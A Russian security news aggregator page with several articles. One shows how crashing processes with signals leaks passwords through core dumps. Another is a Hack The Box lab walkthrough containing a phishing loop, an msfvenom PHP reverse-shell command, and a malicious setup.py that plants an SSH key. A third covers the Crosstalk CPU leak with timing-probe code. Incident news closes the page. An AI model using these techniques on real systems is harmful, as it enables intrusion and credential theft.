Русский
Русский
English
Статистика
Реклама

Информационная безопасность

Как nix-сигналы позволяют читать память других процессов

28.11.2020 16:23:21 | Автор: admin
Есть такая очень старая и вросшая в *nix с корнями штука под названием сигналы. Идея этих примитивов очень проста: реализовать программный аналог прерываний. Различные процессы могут посылать сигналы друг другу и самим себе, зная process id (pid) получателя. Процесс-получатель волен либо назначить функцию-обработчик сигнала, которая будет автоматически вызываться при его получении, либо игнорировать его с помощью специальной маски, либо же довериться поведению по умолчанию. So far so good.

Поведение по умолчанию при получении сигнала А что означают эти успокаивающие слова? Уверен, не то, что вы ожидали. Вики говорит, что обработчики 28 стандартных сигналов (существуют и другие!) по умолчанию таковы: 2 игнорируются, 4 вызывают остановку процесса, 1 его продолжение, 11 его завершение, 10 его завершение с созданием дампа памяти. Вот это уже интересно! Итак, дело обстоит следующим образом: даже если ваша программа никак не упоминает сигналы в исходном коде, на самом деле она их использует, причём весьма драматичным образом.

С этого момента нам придётся копнуть поглубже. Кто и кому может посылать сигналы? Вики говорит: Процесс (или пользователь из оболочки) с эффективным UID, не равным 0 (UID суперпользователя), может посылать сигналы только процессам с тем же UID. Итак, если вы запускаете 100 программ, то любая из них может запросто убить все эти 100 программ с помощью системного API, даже если все программы (кроме убийцы) никак не упоминали сигналы в своём исходном коде. Если же вы работали под учёткой root-а, то вообще не важно, кто запустил те или иные процессы, всё равно их можно запросто завершить. Узнать pid конкретного процесса и выполнить его заказное убийство, разумеется, можно, но ещё проще убить всех кого можно путём простого перебора pid-ов.

Погоди-погоди, не гони лошадей. Ты упоминал, что сигналы можно обрабатывать и игнорировать! слышу я голос своего читателя. Что скажет Вики? Для альтернативной обработки всех сигналов, за исключением SIGKILL и SIGSTOP, процесс может назначить свой обработчик или игнорировать их возникновение модификацией своей сигнальной маски. Смотрим на действия по умолчанию при получении этих сигналов и видим: Завершение процесса, Остановка процесса. Получается, что эти два действия мы можем сделать всегда, когда посылка сигналов SIGKILL и SIGSTOP жертве в принципе возможна. Единственное исключение процесс с pid 1 (init), который имеет право игнорировать или обрабатывать любые сигналы, включая KILL и STOP. Возможно, мы даже из-под root-а не сможем убить один из главнейших системных процессов, но по-хорошему это требует дополнительного исследования.

Что ж, картина стала чуть позитивнее, но она по-прежнему мрачна. Если вы запускаете процесс, то он гарантированно может завершать и останавливать кучу других процессов. При выполнении очень простого условия разработчики процесса-получателя забыли проигнорировать или как-то обработать один из многих других сигналов приложение-маньяк сможет вызывать завершение процесса с созданием дампа памяти или продолжение процесса после остановки. Если же разработчики приложения-получателя повесили свои обработчики на какие-то сигналы, можно попытаться помешать функционированию этого приложения путём посылки ему сигналов. Последнее является темой для отдельного разговора, потому что в силу асинхронности выполнения обработчиков возможны гонки и неопределённое поведение

Абстрактные рассуждения это очень круто, но давай-ка ближе к конкретике, скажет мне требовательный читатель. Окей, нет проблем! Любому пользователю *nix хорошо знакома такая программа, как bash. Эта программа развивается уже почти 30 лет и обладает целой горой возможностей. Завалим-ка её для наглядности и получим из её памяти какую-нибудь вкуснятину!

Я достаю из широких штанин свою домашнюю Ubuntu 16.04.2 и запускаю на ней две копии bash 4.3.46. В одной из них я выполню гипотетическую команду с секретными данными: export password=SECRET. Давайте на время забудем про файл с историей команд, в которую тоже записался бы пароль. Наберём в этом же окне команду ps, чтобы узнать pid этого процесса скажем, 3580.

Не закрывая первое окно, перейдём во второе. Команда ps в нём даст другой pid этого экземпляра bash скажем, 5378. Чисто для наглядности именно из этого второго bash-а отправим сигнал первому командой kill -SIGFPE 3580. Да, уважаемый читатель, это полный абсурд: процесс 2 говорит никак не связанному с ним процессу 1, что в этом самом процессе 1 произошла ошибочная арифметическая операция. На экране появляется такое вот окошко:



Произошло желанное аварийное завершение с созданием дампа памяти, то есть bash похоже не обрабатывает и не игнорирует этот сигнал. Загуглив, где мне искать дамп, я нашёл развёрнутый ответ (раз, два). В моей Убунте дело обстоит так: если приложение из стандартного пакета падает из-за сигнала, отличного от SIGABRT, то дамп передаются программе Apport. Это как раз наш случай! Данная программа компонует файл с диагностической информацией и выдаёт окошко, показанное выше. Официальный сайт гордо заявляет: Apport collects potentially sensitive data, such as core dumps, stack traces, and log files. They can contain passwords, credit card numbers, serial numbers, and other private material. Так-так, интересно, а где там у нас лежит этот файл? Ага, /var/crash/_bin_bash.1000.crash. Вытащим его содержимое в папку somedir: apport-unpack /var/crash/_bin_bash.1000.crash somedir. Помимо разных неинтересных мелочей там будет вожделенный дамп памяти под названием CoreDump.

Вот он, момент истины! Давайте поищем в этом файле строку password и посмотрим, что интересного мы получим в ответ. Команда strings CoreDump | grep password напомнит забывчивому хакеру, что password есть SECRET. Чудесно!

То же самое я проделал и со своим любимым текстовым редактором gedit, начав набирать текст в буфере, а затем считав его уже из дампа. Никаких проблем! В этот момент Вики предостерегающе шепнула на ухо: Иногда (например, для программ, выполняемых от имени суперпользователя) дамп памяти не создаётся из соображений безопасности. Тааак, проверим При получении сигнала от рутового bash-а второй рутовый bash упал с созданием дампа памяти, но из-за прав доступа (-rw-r----- с владельцем root) прочитать его уже не так просто, как прежние, владельцем которых был мой пользовательский аккаунт. Что ж, коли гипотетической программе-киллеру удалось послать сигнал с UID суперпользователя, то и такой дамп она сможет потрогать.

Дотошный читатель может заметить: Тебе было очень легко найти нужные данные в море мусора. Чистая правда, но я уверен: если вы знаете, какую рыбу вы хотите поймать и где она плавает, то найти её в сетях дампа должно быть реально почти всегда. Скажем, никто не мешает скачать пакет с отладочной информацией для упавшей программы и узнать содержимое интересующих вас переменных в GDB путём post-mortem отладки.

Всё это может выглядеть вполне безобидно, но на самом деле таковым не является. Все описанные мною действия могли быть запросто проделаны программой или скриптом, работающей в пользовательском режиме, не говоря уже о более привилегированном уровне доступа. В сухом остатке получаем, что зловредная исполнимая штука может легко рубить программы направо и налево, а часто ещё и свободно читать всю их память. Вот тебе и сигналы да отчёты об ошибках! Уверен, что на других *nix-платформах и с другими программами-получателями ситуация аналогична, но проверять я это, конечно, не буду.

Может возникнуть возражение: зловредина может просто воспользоваться средствами отладки для утягивания интересных данных из приложения. Это действительно так. К чему же в таком случае этот пост? Моя мысль такова: первое, что приходит на ум при попытке пресечь кражу данных из приложений это как раз ограничения на отладочные инструменты. Наверняка антивирусные инструменты отлавливают использование ptrace() в первую очередь это очень подозрительное событие. Сигналы же совсем другое дело. Один процесс посылает другому стандартный сигнал ну и что? На первый взгляд, это совершенно нормальное событие. Но, как мы уже видели, это может привести к аварийному завершению приложения, созданию дампа ядра в какой-то папке, из которой его можно будет попробовать утянуть.

Когда я попытался открыть страничку авторизации vk.com и свалить Firefox тем же роковым сигналом, он упал, но вызвал свой обработчик дампов. Дампы в хитром формате minidump сохраняются по адресу ~/.mozilla/firefox/Crash Reports/{pending или submitted} и требуют дополнительного исследования. Вот что вы узнаете, если в окошке настроек кликните на Learn more напротив галочки (текст ниже раньше висел по адресу www.mozilla.org/ru/privacy/firefox/#crash-reporter):



При желании вы можете отправить сообщение об ошибке в корпорацию Mozilla после падения браузера Firefox. Такое сообщение содержит технические данные, которые мы используем для улучшения работы Firefox, в том числе информацию о причине падения, об активном URL-адресе на момент падения, а также о состоянии памяти компьютера на момент падения. Сообщения об ошибках, которые мы получаем, могут содержать персональную информацию. Некоторые части сообщений об ошибках мы публикуем в открытом доступе по адресу crash-stats.mozilla.com. Перед публикацией сообщений об ошибках мы принимаем меры для автоматического удаления персональной информации. Мы не удаляем ничего из написанного вами в полях для комментариев. В URL-ках редко бывает что-то по-настоящему вкусное, а вот есть ли в дампах пароли или cookie, вопрос хороший!

На этой таинственной и интригующей ноте я закончу. Ко мне пришёл сигнал, который я забыл явно обработать.

P. S. Я написал простую программу с таким обработчиком сигнала SIGUSR1: напечатать на экран строку 1, войти в бесконечный цикл. Я надеялся, что если много раз посылать этой программе сигнал SIGUSR1, то обработчик будет вызываться многократно, что вызовет переполнение стека. К моему сожалению, обработчик вызывался лишь один раз. Окей, напишем аналогичный обработчик сигнала SIGUSR2 и будем посылать два разных сигнала в надежде, что это свалит жертву Увы, но и это не помогло: каждый из обработчиков был вызван лишь однажды. Переполняли-переполняли, да не выпереполняли!

P. S. 2. В мире Windows есть некое подобие сигналов сообщения, которые можно отправлять окнам. Весьма вероятно, что их тоже можно использовать for fun and profit!

Оригинал опубликован в моём блоге 5.05.17.
Подробнее..

Hack The Box. Прохождение SneakyMailer. Фишинговая рассылка, LPE через PyPI и GTFOBins pip3

28.11.2020 18:12:01 | Автор: admin


Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье мы получим список адресов электронной почты, выполним рассылку фишинговых писем, разместим PHP шелл через FTP, выполним произвольный код благодаря PyPI и повысим привилегии через GTFOBins pip3.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.197, который я добавляю в /etc/hosts.

10.10.10.197 sneakymailer.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1



Видим много открытых портов, часть из которых отвечает за почту, 80 и 8080 веб сервер, а также активны службы FTP и SSH, для которых нужны учетные данные. Как видно из скана, на веб сервер перенаправляет на на другой домен. Давайте добавим его в /etc/hosts.
10.10.10.197 sneakycorp.htb
На сайте можно найти список сотрудников и соответствующие emailы.



Для получения всех адресов электронной почты советую использовать email extractor.



А теперь давайте откроем 80 порт и выполним многоадресную рассылку фишинговых писем с помощью swaks.
while read mail; do swaks --to $mail --from colleenhurst@sneakymailer.htb --header 'Subject: News' --body 'Look it: http://10.10.14.114/' --server sneakymailer.htb | grep 'To:' ; done < emails.txt



И видим, что какой-то пользователь переходит по нашей ссылке.



Давайте декодируем данные.



И получаем пароль, с помощью которого мы можем авторизоваться на почтовом сервере.

Entry point


В качестве клиента используем Evolution.









Вводим пароль при подключении и видим два письма.



В одном из которых есть пароль для разработчика (подходит для FTP) и упоминание PyPI, связанное с пользователем low.





Зайдя на FTP и получив некоторые файлы, замечаем, что это исходные коды сайта.





Давайте добавим поддомен dev в /etc/hosts.
10.10.10.197 dev.sneakycorp.htb


Таким образом мы можем разместить php шелл на сервере. Давайте сделаем это. В качестве нагрузки я использовал meterpreter.
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.114 LPORT=4321 -f raw > r.phpcat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php



После размещения файла в директорию dev запустим листенер.
handler -p php/meterpreter_reverse_tcp -H 10.10.14.114 -P 4321
И после обращения к нашему файлу, получаем активную сессию.





USER


Осматриваемся в окружении веб-сервера, отмечаем для себя поддомен pypi, уже упомянутый в данной лаборатории, и находим файл .htpasswd.





Давайте найдем пароль.
hashcat --example | grep '$apr1' -A2 -B2



hashcat -m 1600 -a 0 pypi.hash ./tools/rockyou.txt



Найденный поддомен также добавим в /etc/hosts.
10.10.10.197 pypi.sneakycorp.htb



На самом деле, установка своего пакета дает нам возможность выполнения произвольного кода. Вот хорошая инструкция по созданию python пакета. Первым делом создадим директрию.



Теперь нам нужно создать следующие файлы: __init__.py, .pypirc, README.md, setup.cfg и setup.py (он и содержит выполняемый код). Ниже привожу код файла setup.py. В нем мы записываем свой ключ SSH пользователю low.
from setuptools import setup try: f = open('/home/low/.ssh/authorized_keys', 'a') f.write('ssh-rsa ... ') f.close() except: setup( name='ralfpack', packages=['ralfpack'], description='R', version='0.1', url='http://pypi.sneakymailer.htb:8080/ralfpack', author='ralf', author_email='ralf@ralf.com', keywords=['pip','ralfpack','example'] )

Создаем __init__.py (чтобы был), пустой README.md и setup.cfg (в нем указываем README.md).





И осталось сделать .pypirc файл. Задаем название пакета и конфигурации для него.



Загружаем все файлы на хост.



Получим нормальную оболочку и соберем наш пакет.
python3 -c 'import pty;pty.spawn("/bin/bash")'python3 setup.py sdist



Теперь загрузим его.
python3 setup.py sdist upload -r ralfpack



Наш ключ загружен, и мы можем смело подключаться по SSH с приватным ключом.



ROOT


Из настроек sudo узнаем, что мы можем выполнить pip3 от имени root.



Обращаемся к GTFOBins и видим инструкцию получения шелла.



Повторяем и получаем шелл от имени root.



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, отчеты, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

Уязвимость Crosstalk

29.11.2020 16:21:40 | Автор: admin

В последние годы стало появляться большое количество сообщений о всякого рода уязвимостях в процессорах компании Intel. Самыми известными из них являются Spectre и Meltdown, основанные на ошибках в реализации спекулятивного исполнения команд. В июне 2020 года появилось сообщение о новой уязвимости, носящей название Crosstalk.

В отличие от вышеупомянутых уязвимостей, Crosstalk представляет собой уязвимость при передаче данных от одного ядра к другому. Таким образом, средства защиты от уязвимостей, разработанные для преодоления утечек при спекулятивном исполнении внутри ядра, не могут защитить от Crosstalk. Для понимания сути такого рода утечки данных необходимо знать, что такое спекулятивное исполнение инструкций, как работает конвейер процессора и как происходит передача данных между ядрами. Коротко коснемся каждой из этих тем.

Спекулятивные вычисления

Спекулятивное исполнение команд процессором является одним из аппаратных способов выявления параллелизма на уровне команд. Вычисления проводятся одновременно для нескольких путей исполнения программы. Простейшим примером является спекулятивное вычисление двух веток при условном переходе.

Конвейер

Конвейер процессора представляет собой технологию, позволяющую распараллелить инструкции процессора на более простые, что позволяет производить вычисления с большей скоростью. На рисунке показано, как происходит исполнение инструкций в четырех стадийном конвейере. Для примера, на третьем такте происходит исполнение зеленой инструкции, декодирование фиолетовой и подтягивание новой синей инструкции. Без конвейера такой набор из четырех инструкций занял бы 16 тактов процессорного времени. В нашем случае, команды исполнились за 8 тактов.

Как происходит межъядерное взаимодействие?

Существует набор инструкций процессора Интел семейства x86 с нетривиальным поведением. Такие инструкции состоят из нескольких операций, называемых микрокодом. Исследователи из Vrije Universiteit Amsterdam провели ряд экспериментов, в которых изучалась работа инструкций процессора с разными наборами аргументов. Оказывается, что в ряде случаев такой микрокод осуществляет операции чтения-записи вне ядра через внутренние шины процессора в регистры MDS (Model-Specific-Registers) с помощью операций RDMSR и WRMSR. Эти операции являются привилегированными и могут исполняться только операционной системой. Для userspace примерами таких инструкций являются CPUID, RDRAND и RDSEED.

Промежуточный буфер сохраняет результаты ранее выполненных инструкций, такие как сгенерированные DRNG случайные числа, хэши состояния bootguard и другие ценные данные. Чтение из промежуточного буфера с помощью Crosstalk позволяет получать доступ к данным, к которым обращался пользователь, и которые остались в этом буфере после выполнения таких запросов, как например RDRAND и RDSEED.

RDRAND и RDSEED

Инструкция RDRAND возвращает случайные числа, полученные от digital random number generator (DRNG), и может быть вызвана из пользовательского пространства. DRNG выводит случайные начальные состояния и передает их генератору случайных битов, который заполняет глобальную очередь случайных чисел. Инструкция RDSEED обеспечивает доступ к более качественному источнику энтропии, т.к. предназначена для программных RNG.

Внутренние буферы процессора

Забегая немного назад в списке уязвимостей, стоит отметить RIDL, которая позволяет создавать утечки информации из разных источников, таких как кэши и буферы процессора: Line Fill Buffer, Load Ports, Store Buffer.

Line Fill Buffer (LFB) используется для отслеживания кэш миссов L1 Cache (невыполненных запросов памяти) и передачи кэш-линий за пределами L1 Cache. Например, при кэш миссе, вместо блокировки кэша, операция помещается в LFB и обрабатывается асинхронно. Это позволяет кэшу обслуживать другие запросы. Промежуточный буфер получает данные от ядра из LFB.

Store Buffer отслеживает запросы на запись данных.

Load Ports используются конвейером процессора при загрузке данных из памяти или I/O операций. Когда выполняется микрокод загрузки, данные сначала сохраняются в Load Ports перед передачей в регистры.

Детектирование Crosstalk

Детектирование Crosstalk состоит из двух стадий. Сначала проверяются различные инструкции, делающие запросы вне ядра с разными операндами. Затем анализируются данные, полученные от такого рода запросов, чтобы понять, как устроено взаимодействие между LFB, расположенном на ядре, и внешним разделяемым буфером. Разные инструкции записывают данные в разделяемый буфер с разным размером отступа. На другом ядре происходит чтение из этого буфера и наблюдение за изменениями, вносимыми первым ядром. Таким образом, злоумышленник может сгенерировать набор инструкций, позволяющий читать почти все инструкции, поступающие в промежуточный буфер от другого ядра.

FLUSH + RELOAD

inline int probe(char *adrs) {  volatile unsigned long time;  asm __volatile__ (    "  mfence             \n"    "  lfence             \n"    "  rdtsc              \n"    "  lfence             \n"    "  movl %%eax, %%esi  \n"    "  movl (%1), %%eax   \n"    "  lfence             \n"    "  rdtsc              \n"    "  subl %%esi, %%eax  \n"    "  clflush 0(%1)      \n"    : "=a" (time)    : "c" (adrs)    :  "%esi", "%edx");  return time;}

В качестве примера рассмотрим RIDL атаку с использованием LFB, выполняемую в четыре этапа. Сначала злоумышленник создает массив FLUSH + RELOAD, содержащий одно значение для каждой строки кэша (обычно байт) и выполняет операцию FLUSH, чтобы гарантировать, что ни одна из этих строк не находится в кэше. Затем злоумышленник предлагает программе-жертве прочитать или записать секретные данные или обеспечить удаление таких данных из кэша. В любом случае, процессор перемещает данные в LFB. Затем злоумышленник выполняет загрузку данных (операцию load), вызывающую исключение или pagefault. При этом, такая операция считается успешной, данные сохраняются в LFB. Затем спекулятивно исполняемый код злоумышленника использует данные, соответствующие индексу в массиве FLUSH + RELOAD. Соответствующая строка кэша будет загружена в кэш конвейером, когда он выполнит спекулятивный код. Наконец, загрузив каждый элемент массива и определив время загрузки, злоумышленник может определить, какой из них был в кеше. Индекс в кэше - это секретные данные, полученный из LFB.

CPUID

pid_t pid = fork();if (pid == 0) {    while (1)        asm volatile(            "mov %0, %%eax\n"            "cpuid\n"            ::"r"(CPUID_LEAF):"eax","ebx","ecx","edx");}for(size_t offset = BEGIN_OFFSET; offset &lt; BEGIN_OFFSET + 4; ++offset) {    // ...    for(size_t i(0); i &lt; ITERS; ++i) {        flush(reloadbuffer);        tsx_leak_read_normal(leak + offset, reloadbuffer);        reload(reloadbuffer, results);    }}

На представленном листинге показано, как осуществляется запрос на примере CPUID. Эта команда позволяет получить информацию о процессоре. Такого рода запросы называются MDS. К их числу относится упомянутый ранее RIDL. Запросы проводятся с разным смещением в разделяемом буфере. Смещение вызывает ошибку при чтении страницы, так как читаемый вектор захватывает границы страницы. Затем при помощи FLUSH + RELOAD можно получить данные, прочитанные во время выполнения инструкции. Таким образом, CPUID вызывает 4 запроса вне ядра, что говорит об успешной демонстрации CROSSTALK. В следующей таблице представлены результаты различных операций, реализуемых CROSSTALK

Замедление работы процессора

Одним из примеров атаки может служить замедление работы при запросах определенного рода ресурсов. Рассмотрим инструкцию RDSEED. Объем доступной энтропии всегда ограничен, причем RDSEED возвращает 0, если нет доступной энтропии. Неуспешный вызов RDSEED не перезаписывает содержимое промежуточного буфера. Таким образом, злоумышленник может потреблять доступную энтропию, самостоятельно выполняя запросы RDRAND и RDSEED, в то время как ядро-жертва не сможет получить достаточный объем энтропии для успешного завершения вызова RDSEED. С помощью такого рода запросов можно читать данные, записанные пользователем в разделяемый буфер. Когда запрос жертвы все же вернет положительный результат, данные в разделяемом буфере перезапишутся. Но в то же время, злоумышленник может уже прочитать данные, до завершения работы вызовов FLUSH + RELOAD.

Виртуальные машины

Если злоумышленники имеют возможность писать код только внутри виртуальной машины, то операции, позволяющие получать доступ к промежуточному буферу, ограничены. Например, обычно виртуальные машины запрещают пользователю выполнять вызов CPUID, чтобы не позволять пользователю получать информацию о возможностях виртуальной машины. Тем не менее, инструкции RDRAND и RDSEED могут быть исполнены из пространства пользователя, что создает уязвимость и для виртуальных машин. Примером может стать составление запросов гипервизору, а затем чтение из промежуточного буфера в LFB. Даже если процессор оснащен защитой от MDS атак, злоумышленник может получать содержимое разделяемого буфера из соседнего потока (hyperthread), раскрывая данные жертвы, работающей на другом ядре.

Устранение уязвимости

Компания Интел предоставила решение проблемы, которое заключается в блокировании шины данных перед обновлением промежуточного буфера и снятии блокировки только после завершения очистки содержимого буфера. Таким образом, одно из ядер не сможет читать инструкции, исполняемы на другом ядре. Такого рода блокировки, в свою очередь, создают большие задержки при работе с промежуточным буфером. Чтобы увеличить производительность операций записи в буфер, было предложено ограничиться блокировками буфера только для тех операций, которые представляют угрозу для безопасности данных, такие как рассмотренные ранее RDRAND, RDSEED и EGETKEY. В то же время, существует ряд команд, способных на чтение данных вне ядра, не регулируемых локами.

Выводы

Crosstalk представляет собой уязвимость нового рода, позволяющую злоумышленникам получать доступ к данным из промежуточного буфера, разделяемого несколькими ядрами. Предыдущие способы борьбы с MDS уязвимостями не позволяют бороться с такого вида атаками (а в ряде случаев, ухудшают ситуацию). Решение проблемы позволяет полностью ограничить доступ к данным, записанным другим ядром в промежуточный буфер, но создает дополнительные накладные расходы из-за блокирования буфера. Несмотря на то, что большинство современных процессоров Интел подвержены межъядерным атакам, компании не известно ни одного примера атаки за пределами лаборатории. В то же время, на серверных процессорах высокого уровня обеспечивается защита от такого рода угроз, и некоторые наиболее современные процессоры не подвержены атакам MDS.

Подробнее..

Что там с P2P-соцсетями поиск альтернативных решений или еще одна мишень для регуляторов

29.11.2020 22:13:53 | Автор: admin

В этом году на фоне общего кризиса противостояние классических и децентрализованных соцсетей наконец стабилизировалось после многочисленных скандалов с участием первых и относительно скромных результатов с точки зрения набора аудитории у вторых. Но именно в период временного затаишься и наступает решающий момент для таких проектов. С одной стороны, широкая общественность действительно не торопится вникать в их устройство, тем более изучать даже простейшие инструменты, без которых пользоваться альтернативными социальными и коммуникационными платформами будет невозможно. С другой небольших P2P-соцсетей становится все больше, а конкуренция в этой нише продолжает усиливаться.

Кажется, что в этой ситуации децентрализованные решения могут оказаться наиболее уязвимыми перед регуляторами, если они переключат свое внимание с массовых площадок на независимые альтернативы, работающие по несколько иным принципам и предлагающие аудитории то, чего уже практически и не найти в обычных социалках свободу от трекинга рекламных сетей, негласного сбора персональных данных и фильтрации контента.

Unsplash / Tim MossholderUnsplash / Tim Mossholder

Как развивается ситуация

P2P-проекты, с технологической точки зрения, не являются чем-то новым. Взять хотя бы первую сборку ARPANET, где все четыре узла пусть и не особо долго, но обладали равным статусом.Однако с концептуальной точки зрения последующая история децентрализованных протоколов и соцсетей это поиск механизмов, которые могли бы открыть новые возможности для эффективного и справедливого обмена информацией, плюс поддержания социальных связей.

Двигаться к столь амбициозной цели и не спровоцировать конфликтные ситуации по определению невозможно. Более того, на первых порах не получилось обойти стороной и спорные моменты, проявившие себя задолго до возникновения первых масштабных peer-to-peer проектов. Именно так в контексте оффлайновой войны за копирайт в 1999 году появился Napster. Судебные дела против музыкальных пиратов шли и до его запуска, но появление столь заметного и эффективного по тем временам решения только подстегнуло их интенсивность.

К закрытию сервиса в 2001 году (в его изначальном исполнении) технологическое сообщество представило своеобразный ответ на усилившееся давление еще один способ децентрализованного обмена данными, а именно с помощью BitTorrent. Его энтузиасты успешно пользовались плодами творчества разработчиков проекта более десятилетия к 2013-му аналитики приписывали протоколу 3,35% общемирового трафика. Но как на владельцев, так и на пользователей торрент-трекеров постепенно нашли управу сегодня площадки охотно выдают их персональные данные, поэтому популярность протокола гаснет от года к году.

Unsplash / George Pagan IIIUnsplash / George Pagan III

Тренд последних лет децентрализованные соцсети. Во многом приток аудитории к ним стимулируют регуляторы, взявшиеся за классические и действительно масштабные площадки. Интерес к последним они объясняют возможностями для манипулирования общественным мнением, необходимостью поддержания правопорядка и безопасности.

Эпидемиологический кризис только подливает масла в огонь спецслужбы ряда стран настаивают на встраивании бэкдоров и вводе ограничений на end-to-end шифрование, а власти на фильтрации hate-speech контента и даже возможном разделении крупных соцсетей на отдельные проекты. В свою очередь, владельцы площадок пытаются успеть заработать на пока еще беспрецедентной по объему аудитории, но в силу тех или иных причин этот процесс становится для пользователей не менее раздражительным.

Не все так просто

Сами P2P-проекты предоставляют решения для многих, но далеко не всех из перечисленных выше проблем. Более того, иногда гайдлайны, декларируемые основателями и разработчиками, отличаются от того, как аудитория пользуется их продуктом. Так, протокол Dat Foundation, обходившей стороной политические темы, неоднократно использовали для хранения и обмена данными в качестве своего рода протеста против определенных мер властей. Те, кто шел на такие действия, испытывали на себе возможные риски, которые были известны и самой организации.

Именно из-за базовых особенностей протокола, позволяющих раскрыть IP-адреса участников того или иного проекта, Dat Foundation в свое время отказались от децентрализации Википедии.

Unsplash / Alina GrubnyakUnsplash / Alina Grubnyak

Другие peer-to-peer начинания вроде Secure Scuttlebutt и Fediverse демонстрируют свои особенности. Первый не позволяет пользователям удалять собственные записи и фактически хранит в сети лог всех совершенных ими действий. Второй, представляющий собой гораздо более крупный проект, не задействует end-to-end шифрование.

В этом случае доступ к переписке, лежащей в plain textе, имеют администраторы отдельных инстансов получается что-то вроде Fidonetа, где операторы узлов могли просматривать сообщения участников сети на предмет нарушения устава сообщества.

С учетом достаточно открытых дискуссий и острых тем, обсуждаемых в подобных сетях, местная аудитория может заинтересовать многих, для кого не составит труда изучить картину мира и каждодневные активности особо активных пользователей. Как вы можете видеть выше, некоторые технические возможности для этого предоставляют сами проекты by design.

Что дальше

Остается только догадываться, сможет ли P2P-сообщество вовремя предложить действительно жизнеспособную альтернативу, учитывающую хотя бы те риски, которые беспокоят основную массу пользователей мейнстрим-проектов. Если сделать это не получится, у данной технологической ниши есть все шансы остаться исключительно экспериментальной даже без помощи регуляторов, которые все еще заняты старшими собратьями P2P-соцсетей.


Дополнительное чтение:


Подробнее..

(не) Безопасный дайджест сливы COVID-пациентов и незваный гость на министерской встрече в Zoom

30.11.2020 12:14:44 | Автор: admin

Привет! Продолжая традицию, собрали классические и нетривиальные ИБ-инциденты, о которых писали зарубежные и российские СМИ в ноябре.

И кстати, всех причастных с международным днем защиты информации!

У них

Аэромайнинг

Что случилось:Сотрудники аэропорта в итальянском городе Ламеция-Термеобнаружилианомалии в работе ИТ-систем и обратились в транспортную полицию. В ходе расследования полицейские нашли в технических помещениях ферму для майнинга Ethereum, подключенную к электросети аэропорта.

Кто виноват:Майнером оказался 41-летний техник компании-подрядчика Sacal, которая управляет аэропортами в провинции Калабрия. Мужчина отвечал за работу компьютерной инфраструктуры воздушного хаба. Он установил вредоносное ПО и использовал ИТ-мощности Sacal для майнинга криптовалюты. Выйти на след злоумышленника помогли камеры видеонаблюдения. О наказании СМИ не пишут, но предполагаем, что как минимум работы в Sacal мужчина лишился.

Купонщик-миллионер

Что случилось:Из онлайн-магазина Microsoft пропали подарочные сертификаты на 10 млн долларов.

Кто виноват:Воромоказалсяинженер компании Владимир Квашук (гражданин Украины), причем его темные дела оставались незамеченными на протяжении семи месяцев. Чтобы скрыть следы, он подключался к платформе через учетные записи коллег и использовал сервисы для смешивания биткоинов (позволяют смешать цифровую валюту из разных источников в одном большом хранилище и тем самым обеспечить конфиденциальность ее владельцам). На вырученные деньги инженер купил дом на берегу озера и автомобиль Tesla. Еще 2,8 млн долларов он перевел на свои банковские счета. А чтобы не попасться налоговой, указал в декларации, что биткоины ему подарил родственник.

Махинацию все же раскрыли, хотя расследование, по признанию правоохранителей, было непростым и потребовало от полиции специальных знаний по кибербезопасности. В итоге Квашука уволили, суд приговорил его к девяти годам тюрьмы за 18 преступлений. Он должен выплатить компании 8,3 млн долларов. А после тюремного заключения его могут депортировать в Украину.

Культурный обмен

Что случилось:Офис шерифа округа Санта-Клара в Калифорнииуличилив торговле разрешениями на ношение оружия. Фигурантом дела стал руководитель службы безопасности Apple.

Кто виноват:Окружная прокуратура Санта-Клары обвинила во взяточничестве руководителя службы безопасности Apple Томаса Мойера и двух помощников шерифа. По мнению следствия, топ-менеджер компании договорился с офисом шерифа обменять четыре лицензии на скрытое ношение оружия на 200 новых планшетов Apple iPad стоимостью 70 тыс. долларов.

Адвокат Мойера заявил, что подзащитный собирался передать планшеты офису шерифа в рамках совместного проекта по подготовке кадров. И этот факт не связан с обращением Мойера за разрешением на ношение оружия. Разбирательство только начинается, но очевидно, что 14-летний стаж работы в Apple вряд ли убережет сотрудника от увольнения. А случай красноречиво доказывает, что контроль топ-менеджеров насущная ИБ-проблема, а не излишняя подозрительность.

Мне только спросить!

Что случилось:Журналист из Нидерландов Даниэль Верлаанподключилсяк закрытому Zoom-совещанию министров обороны стран ЕС, чем заметно смутил чиновников.

Кто виноват:О встрече Верлаан узнал из Twitter, где министр обороны Нидерландов Анка Бийлевельда опубликовала серию фотографий, на которых она работает из дома во время конференции. На фото попал экран ее ноутбука с PIN-кодом для доступа к вызову. Это позволило журналисту подключиться к беседе. После короткого диалога с шокированными министрами он отключился со словами: Прошу прощения, что прерываю вашу конференцию, я ухожу.

Пока непонятно, ждет ли Верлаана наказание за взлом закрытой встречи. Премьер-министр Нидерландов Марк Рютте публично высказался об инциденте, указав на грубую ошибку Бийлевельды и службы безопасности, которая должна пресекать подобные случаи.

Онлайн-совещания вошли в практику не только политиков, но и сотрудников на удаленке еще со времен первой волны коронавируса. Казалось бы, секретному совещанию такого формата не место в Zoom, который неоднократно обвиняли в наличии уязвимостей. Но, как видим, воз и ныне там и возле него щедро рассыпаны грабли.

Провальный тест

Что случилось:В открытом доступеоказалисьперсданные 16 млн бразильцев, заболевших COVID-19, в том числе информация о президенте страны Жаире Болсонару, семи министрах и 17 губернаторах штатов.

